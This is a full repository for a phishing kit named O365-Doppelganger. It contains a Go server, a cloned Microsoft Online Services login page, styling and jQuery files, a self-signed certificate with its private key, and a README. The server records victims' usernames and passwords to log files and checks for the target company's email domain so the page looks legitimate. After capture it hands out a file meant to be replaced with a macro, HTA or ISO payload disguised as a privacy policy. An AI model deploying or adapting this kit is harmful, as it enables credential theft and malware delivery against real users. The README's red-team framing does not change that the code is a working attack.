├── static ├── logo.png ├── favicon_a.ico ├── illustration.jpg ├── login-submit.php ├── index.html ├── jquery.easing.1.3.js ├── logon.css ├── login.ltr.css └── jquery.1.5.1.min.js ├── screenshot ├── img1.png └── img2.png ├── MacroFile.doc ├── cert.pem ├── LICENSE ├── key.pem ├── README.md └── serveMe.go /static/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/O365-Doppelganger/main/static/logo.png -------------------------------------------------------------------------------- /screenshot/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/O365-Doppelganger/main/screenshot/img1.png -------------------------------------------------------------------------------- /screenshot/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/O365-Doppelganger/main/screenshot/img2.png -------------------------------------------------------------------------------- /static/favicon_a.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/O365-Doppelganger/main/static/favicon_a.ico -------------------------------------------------------------------------------- /static/illustration.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/O365-Doppelganger/main/static/illustration.jpg -------------------------------------------------------------------------------- /MacroFile.doc: -------------------------------------------------------------------------------- 1 | This is a sample text file. This should be replaced with a legitimate macro/iso/hta in a real life example. -------------------------------------------------------------------------------- /static/login-submit.php: -------------------------------------------------------------------------------- 1 | "; 5 | ?> -------------------------------------------------------------------------------- /cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDoTCCAomgAwIBAgIUYZUz/M89IutihIlOvwq1AA8JKGowDQYJKoZIhvcNAQEL 3 | BQAwYDELMAkGA1UEBhMCSU4xFDASBgNVBAgMC01haGFyYXNodHJhMRQwEgYDVQQK 4 | DAtCcnV0ZSBSYXRlbDERMA8GA1UECwwIUmVzZWFyY2gxEjAQBgNVBAMMCWxvY2Fs 5 | aG9zdDAeFw0yMTAzMjQxNTAxMjVaFw0yMjAzMjQxNTAxMjVaMGAxCzAJBgNVBAYT 6 | AklOMRQwEgYDVQQIDAtNYWhhcmFzaHRyYTEUMBIGA1UECgwLQnJ1dGUgUmF0ZWwx 7 | ETAPBgNVBAsMCFJlc2VhcmNoMRIwEAYDVQQDDAlsb2NhbGhvc3QwggEiMA0GCSqG 8 | SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCgGv4mlexd+pnvCLGNyCo/1uoS/fI8Rvo6 9 | mjportxZN81d5jKbKvOBu+hAWIdYTDEL5XhCaTebrIwdr7tgekBL5A+drBxZnF39 10 | +pM59AglfH4DN0BIlNG8klZp9/n1ymSByZNZ6fShUIQpN6jZBsg0+XrjwYmLQCUT 11 | qp7QCgaXfTJJ3bYO3g3BwUEBGyEDHgXiYw3gU+ZS9aPFvP+nZL91e8pnCpF0xxWF 12 | LSuyiu5CyvPcfyYhKHdI8R5HQRk1OdptIx4dJgERAuSn4GrAXk07HGKkZxLkrPly 13 | hfZ6kDP73sUrP890hC3kTTPaxIxmeiNXxoqgWSEJ+39LYLAZ0SrFAgMBAAGjUzBR 14 | MB0GA1UdDgQWBBSCXZ54xS/dD2k+LwOMCwyA2NkZazAfBgNVHSMEGDAWgBSCXZ54 15 | xS/dD2k+LwOMCwyA2NkZazAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA 16 | A4IBAQAGtJJDIA+YO7xKInit1B4Raimc5r0e9i2WW4YRS66eD5jppfmsgSV9AIwt 17 | woFk17A5xloLLUl6rSX7EHurSam7nJhWXDj43ZhsAr9MFSErJdj3nzmkzkPr6vua 18 | dqShMOojflcvVQQRtMArvPOCP8jO0Hl4Q+bXsGk+4zKSBQJXJOKoKOskPKzL/iVe 19 | KCnsGB790GYZaUWk8vQRkAzbfKWpBwLCfzpfDWDfJJSFi0VFiVjfgCvVdUX9uGXg 20 | ZcIS4N9v8cRnn6cHKrwQ/IIo14NShOxe6Qb6WufC6vD+M+t7VIcTk+hGUruLm7tK 21 | mK8cmUSqHJUcfTmDK5gmdo+u0ytm 22 | -----END CERTIFICATE----- 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 2-Clause License 2 | 3 | Copyright (c) 2022, Paranoid Ninja 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 20 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 23 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 24 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 25 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCgGv4mlexd+pnv 3 | CLGNyCo/1uoS/fI8Rvo6mjportxZN81d5jKbKvOBu+hAWIdYTDEL5XhCaTebrIwd 4 | r7tgekBL5A+drBxZnF39+pM59AglfH4DN0BIlNG8klZp9/n1ymSByZNZ6fShUIQp 5 | N6jZBsg0+XrjwYmLQCUTqp7QCgaXfTJJ3bYO3g3BwUEBGyEDHgXiYw3gU+ZS9aPF 6 | vP+nZL91e8pnCpF0xxWFLSuyiu5CyvPcfyYhKHdI8R5HQRk1OdptIx4dJgERAuSn 7 | 4GrAXk07HGKkZxLkrPlyhfZ6kDP73sUrP890hC3kTTPaxIxmeiNXxoqgWSEJ+39L 8 | YLAZ0SrFAgMBAAECggEANgimGZOjkBwRc5C1i6owSBdaLEq0RA+YR8rhR48sIpgo 9 | oTYdgiy+vdwTCBRYqT4dl2w8Z/1mnQ1gxGwYivj3ViWD96ysbLnPJvY4Vei8Dxqy 10 | 1JcDBPvkxQWGUIE2RPOnc/350vCYdRDdaaO1Qnl9fBNunAsnRm3BlZ+RtZiMnPdF 11 | Jw7PwEb/xvKugRbX3bRF7D/NFDVnOuVU1Cjm75uq2lX1267j6cubE8V/9smM8zH7 12 | 2G0ylwGyzVbDXRiT81Y0G3QV6cWpfc1leJn/8YxevRRuam9u1dOgFCEBMnSHwhbM 13 | z/jYlN0Q3u5uBWRVpODx3sWi39MozW30XRbY8IMWQQKBgQDMQRe1LhD0frJvjBlj 14 | wNhDpR5SnBKGFbwhZcvNd5/N+pqSFqDQa7xeekKCWYfcLwm7IANEEs1Jh+BneArC 15 | ngammjBcqeNtKHUIuw9WgWX/ffVhMM88G1FFcv3j1Rsn4bJuneABVvqPv7OS28ck 16 | nVzWbgCQF4jvIdBWq2jEctX1fQKBgQDIqqDu5vkgalvc6xJxBjk3bzntzMHDrpOh 17 | PNognGYHYOXNGBV/eHwQPcRyQDPNJ76MKLD/SlStGwaRIAw4CRbUJ6t3JR2McAhM 18 | 3fA1JTOzFvSMMarx7NzfiyDEwfTNPyh8KOPoWJf5EhDy3+WwdUN2uQc3JMPHscip 19 | 94xw/tRs6QKBgQCFv/4pS0AZCjoIJ2Kc2rQDH8XKbJ8IpITsDb+2DSZc+ERtc1nd 20 | AR95cm/I8Z2whjDGE0FwOyuogcxllMrfBCHwyLjwhOMDIOH6VJvHlrZW5oFfIloh 21 | zvWaF6G/plXA+N8h5knANteed/a8LSSrikw3shK2SGMHzEmj51yUf2ox9QKBgQC3 22 | x734z0VfMMnNfOW46hBA+vc9GYhkpWDEDS1hLJwtKcuNmP8nbbuCTG+8i5xlyn6z 23 | cxkX1oXSvKu5AnbuYzSrPWHGjxGO65ROgf1bTyUYYm+6bkq3o01u1sc+LLz9tVho 24 | zjJdO7aEAM3RAsokYGFXPIKlOGCuZd73+6Z+XoVC8QKBgQCbd8+atFXh66ereYR5 25 | 1vP9fWX0aZiKPib2/RoUf+BGm+nYBGmUiZwP9nskXPxcyScpqxj12oiDnrRMmuBw 26 | RZo8mfjOHEtdeoxCxiCHfXkBn11Gt4gCsjqaBTy/V1k2KKwYXhQRrzhyT/qjSXZv 27 | rwFYW+W8UOcZHlPzKAP5Oowfog== 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # O365-Doppelganger 2 | 3 | O365-Doppelganger is NOT a replacement for hardcore phishing activities. There are several other tools which perform OAuth and OTA capture which is not the aim of O365-Doppelganger. 4 | 5 | O365-Doppelganger is a quick handy script to harvest credentials of a user during Red Teams. This repository is a quick hack of one of my old red team engagement scripts which I've used several times to capture credentials and use them for making windows access tokens for lateral movement. This code repository basically performs the below tasks: 6 | 7 | - The GO code: 8 | - hosts the O365 portal (can be replaced with anything in the index.html). It is recommended to use a valid cert and key file (LetsEncrypt?) instead of the one provided in the directory 9 | - logs all user activity on the web portal in a seperate log file on the server 10 | - logs the credentials captured in a seperate log file on the server 11 | - can also be used to return a valid file to the user post capturing the credentials. This can be done by replacing the file named `MacroFile.doc` in the current directory and replacing it with HTA/ISO/MSI or anything else that the phisher wants. Theres also a small code in the GO code which would need to be modified to specify the user's file name which needs to be returned: `content, err := ioutil.ReadFile("MacroFile.doc")` 12 | - Once modified, the target user when enters a valid email ID and password will be asked to save the above file. This file name can be changed using the below code in the GO file: `response.Header().Set("Content-Disposition", "attachment; filename=Darkvortex Privacy Policy.doc")` 13 | - The index.html code: 14 | - renders an O365 portal alongside a small regex which checks for a given user's domain name to make it look a bit more legit. The regex code looks like this: ` 15 | pattern="^([a-zA-Z0-9_\-\.]+)@darkvortex\.([a-zA-Z]{2,5})$" title=" Valid darkvortex email ID" 16 | ` 17 | 18 | - The above regex checks if the given username contains a full valid email address else it will prompt the user to enter a correct username as follows: 19 | 20 | ![](screenshot/img1.png) 21 | 22 | - This same check is also performed in the GO code so that user's do not use something like burp to bypass the check: `if strings.Contains(value[i], "@darkvortex") {` 23 | 24 | - It's recommended to change the name darkvortex in the index.html file to your own target company name. 25 | - Once the correct email ID and the password is entered, the user will be asked to save the provided file as follows: 26 | 27 | ![](screenshot/img2.png) -------------------------------------------------------------------------------- /serveMe.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "os" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | func logRequest(request *http.Request) { 15 | logBuffer := fmt.Sprintf("[+] Verb: %s\n", request.Method) + 16 | fmt.Sprintf("[+] Remote Address: %s\n", request.RemoteAddr) + 17 | fmt.Sprintf("[+] Request URI: %s\n", request.RequestURI) 18 | 19 | headerlist := request.Header 20 | for x, y := range headerlist { 21 | logBuffer += fmt.Sprintf("[+] %s: %s\n", x, y) 22 | } 23 | 24 | logBuffer += 25 | fmt.Sprintf("[+] Time: %s\n", time.Now().String()) + 26 | fmt.Sprintf("[+] Protocol: %s\n", request.Proto) 27 | 28 | switch request.Method { 29 | case "GET": 30 | logBuffer += fmt.Sprintf("[+] Get Form: %s\n", request.Form) 31 | case "POST": 32 | post_body, err := ioutil.ReadAll(request.Body) 33 | if err == nil { 34 | logBuffer += fmt.Sprintf("[+] Post Body:\n%s\n", post_body) 35 | } 36 | } 37 | logBuffer += "---------------------------------------------------------------------------------->\n\n" 38 | 39 | log_file := time.Now().UTC().Format("01-02-2006") + ".log" 40 | file, err := os.OpenFile(log_file, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) 41 | if err != nil { 42 | panic(err) 43 | } 44 | defer file.Close() 45 | log.SetOutput(file) //writes as a logger 46 | log.Println(logBuffer) 47 | } 48 | 49 | func returnError(request *http.Request, response http.ResponseWriter) { 50 | logRequest(request) 51 | returnResponse := map[string]interface{}{ 52 | "error": "404 not found", 53 | } 54 | json_response, _ := json.Marshal(returnResponse) 55 | response.Header().Set("Content-Type", "application/json") 56 | response.Write(json_response) 57 | } 58 | 59 | func login_func(response http.ResponseWriter, request *http.Request) { 60 | switch request.Method { 61 | case "GET": 62 | returnError(request, response) 63 | case "POST": 64 | err := request.ParseForm() 65 | if err != nil { 66 | returnError(request, response) 67 | return 68 | } 69 | log_file := "creds_" + time.Now().UTC().Format("01-02-2006") + ".log" 70 | file, err := os.OpenFile(log_file, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) 71 | if err != nil { 72 | // todo: return valid error 73 | returnError(request, response) 74 | return 75 | } 76 | log.SetOutput(file) //writes as a logger 77 | defer file.Close() 78 | log.Println("[+] Remote Address:", request.RemoteAddr) 79 | log.Println("[+] Useragent:", request.UserAgent()) 80 | log.Println("[+] Time (UTC):", time.Now().UTC().String()) 81 | 82 | invalidUsername := false 83 | for key, value := range request.Form { 84 | if key == "UsernameForm" { 85 | for i := range value { 86 | if strings.Contains(value[i], "@darkvortex") { 87 | log.Printf("[+] Username :%s\n", value) 88 | } else { 89 | log.Printf("[+] Suspicious Username :%s\n", value) 90 | invalidUsername = true 91 | } 92 | } 93 | } else { 94 | log.Printf("[+] Password :%s\n", value) 95 | } 96 | } 97 | log.Printf("-------------------------------------------|\n\n") 98 | 99 | if invalidUsername { 100 | http.ServeFile(response, request, "./static/index.html") 101 | return 102 | } else { 103 | content, err := ioutil.ReadFile("MacroFile.doc") 104 | if err != nil { 105 | // todo: remove this and send some legit error to user 106 | http.ServeFile(response, request, "./static/index.html") 107 | return 108 | } 109 | // filename below can be anything depending upon what your are serving: Example: Doc, Hta, ISO etc. 110 | response.Header().Set("Content-Disposition", "attachment; filename=Darkvortex Privacy Policy.doc") 111 | response.Header().Set("Content-Type", "application/msword") 112 | response.Write(content) 113 | } 114 | 115 | default: 116 | returnError(request, response) 117 | } 118 | } 119 | 120 | func main() { 121 | if len(os.Args) < 4 { 122 | fmt.Printf("Usage: %s \n", os.Args[0]) 123 | os.Exit(0) 124 | } 125 | port := os.Args[1] 126 | cert := os.Args[2] 127 | key := os.Args[3] 128 | 129 | fs := http.FileServer(http.Dir("./static")) 130 | 131 | http.Handle("/", fs) 132 | http.HandleFunc("/login-submit", login_func) 133 | 134 | log.Printf("Listening on https://0.0.0.0:%s...\n", port) 135 | err := http.ListenAndServeTLS(":"+port, cert, key, nil) 136 | if err != nil { 137 | log.Fatal(err.Error()) 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /static/index.html: -------------------------------------------------------------------------------- 1 | 2 | Sign in to Microsoft Online Services 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 23 | 24 | 25 | 26 | 27 | 28 | 36 |
37 | Illustration for Microsoft Online Services 38 |
39 |
40 |
41 |
42 | 56 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /static/jquery.easing.1.3.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Microsoft grants you the right to use these script files for the sole purpose of either: 3 | * (i) interacting through your browser with the Microsoft website, subject to the website’s 4 | * terms of use; or (ii) using the files as included with a Microsoft product subject to that 5 | * product’s license terms. Microsoft reserves all other rights to the files not expressly 6 | * granted by Microsoft, whether by implication, estoppel or otherwise. The notices and 7 | * licenses below are for informational purposes only. 8 | */ 9 | /* 10 | * Provided for Informational Purposes Only 11 | * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ 12 | * 13 | * Uses the built in easing capabilities added In jQuery 1.1 14 | * to offer multiple easing options 15 | * 16 | * TERMS OF USE - jQuery Easing 17 | * 18 | * Open source under the BSD License. 19 | * 20 | * Copyright © 2008 George McGinley Smith 21 | * All rights reserved. 22 | * 23 | * Redistribution and use in source and binary forms, with or without modification, 24 | * are permitted provided that the following conditions are met: 25 | * 26 | * Redistributions of source code must retain the above copyright notice, this list of 27 | * conditions and the following disclaimer. 28 | * Redistributions in binary form must reproduce the above copyright notice, this list 29 | * of conditions and the following disclaimer in the documentation and/or other materials 30 | * provided with the distribution. 31 | * 32 | * Neither the name of the author nor the names of contributors may be used to endorse 33 | * or promote products derived from this software without specific prior written permission. 34 | * 35 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 36 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 37 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 38 | * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 39 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 40 | * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 41 | * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 42 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 43 | * OF THE POSSIBILITY OF SUCH DAMAGE. 44 | * 45 | */ 46 | 47 | // t: current time, b: begInnIng value, c: change In value, d: duration 48 | jQuery.easing['jswing'] = jQuery.easing['swing']; 49 | 50 | jQuery.extend( jQuery.easing, 51 | { 52 | def: 'easeOutQuad', 53 | swing: function (x, t, b, c, d) { 54 | //alert(jQuery.easing.default); 55 | return jQuery.easing[jQuery.easing.def](x, t, b, c, d); 56 | }, 57 | easeInQuad: function (x, t, b, c, d) { 58 | return c*(t/=d)*t + b; 59 | }, 60 | easeOutQuad: function (x, t, b, c, d) { 61 | return -c *(t/=d)*(t-2) + b; 62 | }, 63 | easeInOutQuad: function (x, t, b, c, d) { 64 | if ((t/=d/2) < 1) return c/2*t*t + b; 65 | return -c/2 * ((--t)*(t-2) - 1) + b; 66 | }, 67 | easeInCubic: function (x, t, b, c, d) { 68 | return c*(t/=d)*t*t + b; 69 | }, 70 | easeOutCubic: function (x, t, b, c, d) { 71 | return c*((t=t/d-1)*t*t + 1) + b; 72 | }, 73 | easeInOutCubic: function (x, t, b, c, d) { 74 | if ((t/=d/2) < 1) return c/2*t*t*t + b; 75 | return c/2*((t-=2)*t*t + 2) + b; 76 | }, 77 | easeInQuart: function (x, t, b, c, d) { 78 | return c*(t/=d)*t*t*t + b; 79 | }, 80 | easeOutQuart: function (x, t, b, c, d) { 81 | return -c * ((t=t/d-1)*t*t*t - 1) + b; 82 | }, 83 | easeInOutQuart: function (x, t, b, c, d) { 84 | if ((t/=d/2) < 1) return c/2*t*t*t*t + b; 85 | return -c/2 * ((t-=2)*t*t*t - 2) + b; 86 | }, 87 | easeInQuint: function (x, t, b, c, d) { 88 | return c*(t/=d)*t*t*t*t + b; 89 | }, 90 | easeOutQuint: function (x, t, b, c, d) { 91 | return c*((t=t/d-1)*t*t*t*t + 1) + b; 92 | }, 93 | easeInOutQuint: function (x, t, b, c, d) { 94 | if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b; 95 | return c/2*((t-=2)*t*t*t*t + 2) + b; 96 | }, 97 | easeInSine: function (x, t, b, c, d) { 98 | return -c * Math.cos(t/d * (Math.PI/2)) + c + b; 99 | }, 100 | easeOutSine: function (x, t, b, c, d) { 101 | return c * Math.sin(t/d * (Math.PI/2)) + b; 102 | }, 103 | easeInOutSine: function (x, t, b, c, d) { 104 | return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b; 105 | }, 106 | easeInExpo: function (x, t, b, c, d) { 107 | return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b; 108 | }, 109 | easeOutExpo: function (x, t, b, c, d) { 110 | return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b; 111 | }, 112 | easeInOutExpo: function (x, t, b, c, d) { 113 | if (t==0) return b; 114 | if (t==d) return b+c; 115 | if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b; 116 | return c/2 * (-Math.pow(2, -10 * --t) + 2) + b; 117 | }, 118 | easeInCirc: function (x, t, b, c, d) { 119 | return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b; 120 | }, 121 | easeOutCirc: function (x, t, b, c, d) { 122 | return c * Math.sqrt(1 - (t=t/d-1)*t) + b; 123 | }, 124 | easeInOutCirc: function (x, t, b, c, d) { 125 | if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b; 126 | return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b; 127 | }, 128 | easeInElastic: function (x, t, b, c, d) { 129 | var s=1.70158;var p=0;var a=c; 130 | if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; 131 | if (a < Math.abs(c)) { a=c; var s=p/4; } 132 | else var s = p/(2*Math.PI) * Math.asin (c/a); 133 | return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; 134 | }, 135 | easeOutElastic: function (x, t, b, c, d) { 136 | var s=1.70158;var p=0;var a=c; 137 | if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; 138 | if (a < Math.abs(c)) { a=c; var s=p/4; } 139 | else var s = p/(2*Math.PI) * Math.asin (c/a); 140 | return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b; 141 | }, 142 | easeInOutElastic: function (x, t, b, c, d) { 143 | var s=1.70158;var p=0;var a=c; 144 | if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5); 145 | if (a < Math.abs(c)) { a=c; var s=p/4; } 146 | else var s = p/(2*Math.PI) * Math.asin (c/a); 147 | if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; 148 | return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b; 149 | }, 150 | easeInBack: function (x, t, b, c, d, s) { 151 | if (s == undefined) s = 1.70158; 152 | return c*(t/=d)*t*((s+1)*t - s) + b; 153 | }, 154 | easeOutBack: function (x, t, b, c, d, s) { 155 | if (s == undefined) s = 1.70158; 156 | return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b; 157 | }, 158 | easeInOutBack: function (x, t, b, c, d, s) { 159 | if (s == undefined) s = 1.70158; 160 | if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b; 161 | return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b; 162 | }, 163 | easeInBounce: function (x, t, b, c, d) { 164 | return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b; 165 | }, 166 | easeOutBounce: function (x, t, b, c, d) { 167 | if ((t/=d) < (1/2.75)) { 168 | return c*(7.5625*t*t) + b; 169 | } else if (t < (2/2.75)) { 170 | return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b; 171 | } else if (t < (2.5/2.75)) { 172 | return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b; 173 | } else { 174 | return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b; 175 | } 176 | }, 177 | easeInOutBounce: function (x, t, b, c, d) { 178 | if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b; 179 | return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b; 180 | } 181 | }); 182 | 183 | /* 184 | * 185 | * TERMS OF USE - EASING EQUATIONS 186 | * 187 | * Open source under the BSD License. 188 | * 189 | * Copyright © 2001 Robert Penner 190 | * All rights reserved. 191 | * 192 | * Redistribution and use in source and binary forms, with or without modification, 193 | * are permitted provided that the following conditions are met: 194 | * 195 | * Redistributions of source code must retain the above copyright notice, this list of 196 | * conditions and the following disclaimer. 197 | * Redistributions in binary form must reproduce the above copyright notice, this list 198 | * of conditions and the following disclaimer in the documentation and/or other materials 199 | * provided with the distribution. 200 | * 201 | * Neither the name of the author nor the names of contributors may be used to endorse 202 | * or promote products derived from this software without specific prior written permission. 203 | * 204 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 205 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 206 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 207 | * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 208 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 209 | * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 210 | * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 211 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 212 | * OF THE POSSIBILITY OF SUCH DAMAGE. 213 | * 214 | */ 215 | -------------------------------------------------------------------------------- /static/logon.css: -------------------------------------------------------------------------------- 1 | /*Copyright (c) 2020-2021 Microsoft Corporation. All rights reserved.*/ 2 | 3 | @font-face { 4 | font-family: "Segoe UI WPC"; 5 | src: url("segoeui-regular.eot?#iefix") format("embedded-opentype"), 6 | url("segoeui-regular.ttf") format("truetype"); 7 | } 8 | 9 | @font-face { 10 | font-family: "Segoe UI WPC Semilight"; 11 | src: url("segoeui-semilight.eot?#iefix") format("embedded-opentype"), 12 | url("segoeui-semilight.ttf") format("truetype"); 13 | } 14 | 15 | @font-face { 16 | font-family: "Segoe UI WPC Semibold"; 17 | src: url("segoeui-semibold.eot?#iefix") format("embedded-opentype"), 18 | url("segoeui-semibold.ttf") format("truetype"); 19 | } 20 | 21 | body.rtl 22 | { 23 | text-align:right; 24 | direction:rtl; 25 | } 26 | 27 | body, .mouse, .twide, .tnarrow, form 28 | { 29 | height: 100%; 30 | width: 100%; 31 | margin: 0px; 32 | } 33 | 34 | .mouse, .twide 35 | { 36 | min-width: 650px; /* min iPad1 dimension */ 37 | min-height: 650px; 38 | position: absolute; 39 | top:0px; 40 | bottom:0px; 41 | left:0px; 42 | right:0px; 43 | } 44 | 45 | .sidebar 46 | { 47 | background-color:#0072C6; 48 | } 49 | 50 | .mouse .sidebar, .twide .sidebar 51 | { 52 | position:absolute; 53 | top: 0px; 54 | bottom: 0px; 55 | left: 0px; 56 | display: inline-block; 57 | width: 332px; 58 | } 59 | 60 | .tnarrow .sidebar 61 | { 62 | display: none; 63 | } 64 | 65 | .mouse .owaLogoContainer, .twide .owaLogoContainer 66 | { 67 | margin:213px auto auto 109px; 68 | text-align:left /* Logo aligns left for both ltr & rtl */ 69 | } 70 | 71 | .tnarrow .owaLogo 72 | { 73 | display: none; 74 | } 75 | 76 | .mouse .owaLogoSmall, .twide .owaLogoSmall 77 | { 78 | display: none; 79 | } 80 | 81 | .logonDiv 82 | { 83 | text-align:left; 84 | } 85 | 86 | .rtl .logonDiv 87 | { 88 | text-align:right; 89 | } 90 | 91 | .mouse .logonContainer, .twide .logonContainer 92 | { 93 | padding-top: 174px; 94 | padding-left: 464px; 95 | padding-right:142px; 96 | position:absolute; 97 | top:0px; 98 | bottom: 0px; 99 | left: 0px; 100 | right: 0px; 101 | text-align: center; 102 | } 103 | 104 | .mouse .logonDiv, .twide .logonDiv 105 | { 106 | position: relative; 107 | vertical-align:top; 108 | display: inline-block; 109 | width: 423px; 110 | } 111 | 112 | .tnarrow .logonDiv 113 | { 114 | margin:25px auto auto -130px; 115 | position: absolute; 116 | left: 50%; 117 | width: 260px; 118 | padding-bottom: 20px; 119 | } 120 | 121 | .twide .signInImageHeader, .tnarrow .signInImageHeader 122 | { 123 | display: none; 124 | } 125 | 126 | .mouse .signInImageHeader 127 | { 128 | margin-bottom:22px; 129 | } 130 | 131 | .twide .mouseHeader 132 | { 133 | display: none; 134 | } 135 | 136 | .mouse .twideHeader 137 | { 138 | display: none; 139 | } 140 | 141 | input::-webkit-input-placeholder 142 | { 143 | font-size:16px; 144 | color: #98A3A6; 145 | } 146 | 147 | input:-moz-placeholder 148 | { 149 | font-size:16px; 150 | color: #98A3A6; 151 | } 152 | 153 | .tnarrow .signInInputLabel, .twide .signInInputLabel 154 | { 155 | display: none; 156 | } 157 | 158 | .mouse .signInInputLabel 159 | { 160 | margin-bottom: 2px; 161 | } 162 | 163 | .mouse .showPasswordCheck 164 | { 165 | display: none; 166 | } 167 | 168 | .signInInputText 169 | { 170 | border:1px solid #98A3A6; 171 | color: #333333; 172 | 